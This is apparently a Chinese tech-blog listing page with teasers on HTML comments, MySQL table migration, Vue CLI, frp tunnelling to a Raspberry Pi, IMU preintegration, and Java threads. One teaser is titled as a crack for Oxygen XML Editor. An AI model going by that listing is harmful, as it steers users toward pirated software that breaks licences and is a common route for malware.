Web前端开发基础教程二

Web前端开发基础教程二

注释和特殊字符&#xff1a; 如果需要在html文档添加一些便于阅读和理解但又不需要显示在页面中的注释文字&#xff0c;就需要使用注释标签。 html中的注释以“<!--”开头&#xff0c;以“-->”结束或者快捷键&#xff1a;Ctrl/。 举例&#xff1a; <!-- 我想放假 …
阅读更多...
【实战】Mysql 千万级数据表结构变更 、含脚本

【实战】Mysql 千万级数据表结构变更 、含脚本

一、实测结果 业务无感知&#xff0c;无死锁平滑 线上800万数据以下 直接使用 alter 新增字段 300ms左右 2000万数据&#xff0c;强制使用主键索引&#xff0c;每次查询50万数据 并插入新表 &#xff0c;耗时 20s &#xff0c;cpu 占45% 二、整体步骤 创建新表 biz_table_ne…
阅读更多...
Vue-脚手架的创建

Vue-脚手架的创建

本篇vue3的脚手架主要是使用vue-cli进行创建&#xff0c;有网的情况下才能创建成功 文章目录一、下载node.js二、全局安装vue/cli三、使用vue-cli创建项目3.1 使用vscode打开终端3.2 创建项目3.3 创建成功四、注意事项一、下载node.js 1、打开node的官网 node官网 2、点击下方图…
阅读更多...
Oxygen XML Editor 25.0.X Crack

Oxygen XML Editor 25.0.X Crack

XML 编辑器 Oxygen XML Editor 是完整的 XML 编辑解决方案&#xff0c;适用于 XML 开发人员和内容作者。它提供了必备的 XML 编辑工具&#xff0c;涵盖了大多数 XML 标准和技术。Oxygen XML Editor 包括 Oxygen XML Developer 和 Author 的所有功能。 特点与技术 单一来源出版 …
阅读更多...
【树莓派不吃灰】使用frp内网穿透，实现远程访问树莓派

【树莓派不吃灰】使用frp内网穿透，实现远程访问树莓派

目录1. 前言2. frp内网穿透2.1 概述2.2 实现原理3. 开源frp项目4. 公网服务器选型5. 下载frp软件5.1 公网服务器下载frp服务器5.1.1 github选择适合服务端的版本5.1.2 公网服务器进行下载解压5.2 树莓派下载frp客户端5.2.1 github选择适合客户端的版本5.2.2 树莓派进行下载解压…
阅读更多...
流形上的预积分（上）

流形上的预积分（上）

预积分和流形 论文&#xff1a;IMU Preintegration on Manifold for Effificient Visual-Inertial Maximum-a-Posteriori Estimation 引言 Recent results in monocular visual-inertial navigation (VIN) have shown that optimization-based approaches outperform filteri…
阅读更多...
免费体验CSDN云IDE使用指南

免费体验CSDN云IDE使用指南

云IDE产品介绍 云IDE使用教程 免费使用地址&#xff1a;点击【云IDE】&#xff0c;即可开始创建工作空间啦~ 官方活动入口 文章目录1.免费体验CSDN云IDE使用指南1.1云IDE优点2.自己的代码在云IDE上跑起来看看如何操作2.1 克隆开源仓库2.2 创建一个空工作空间2.3 使用默认模板代…
阅读更多...
Thread类中run和start的区别

Thread类中run和start的区别

一.认识 Thread类 中的 start() 和 run() 首先来看一张jdk-api中对于start 和 run 的描述. 二.方法的区别 下面我们简单看一下代码: // 继承Thread类 重写run() class MyThread extends Thread {Overridepublic void run() {while (true) {System.out.println("thread&q…
阅读更多...
如何通过点击商品的信息（图片或者文字）跳转到更加详细的商品信息介绍（前后端分离之Vue实现）

如何通过点击商品的信息（图片或者文字）跳转到更加详细的商品信息介绍（前后端分离之Vue实现）

以下只是做简单的演示、大致实现的效果。页面效果需要进一步优化。目的是提供思路 视频效果&#xff1a; 首页商品跳转1、需求 1、首页的的商品来自接口数据2、在首页点击某一个商品跳转到更加详细的商品介绍页面&#xff08;可以购买、加入购物车、查看商品评价信息等&#x…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023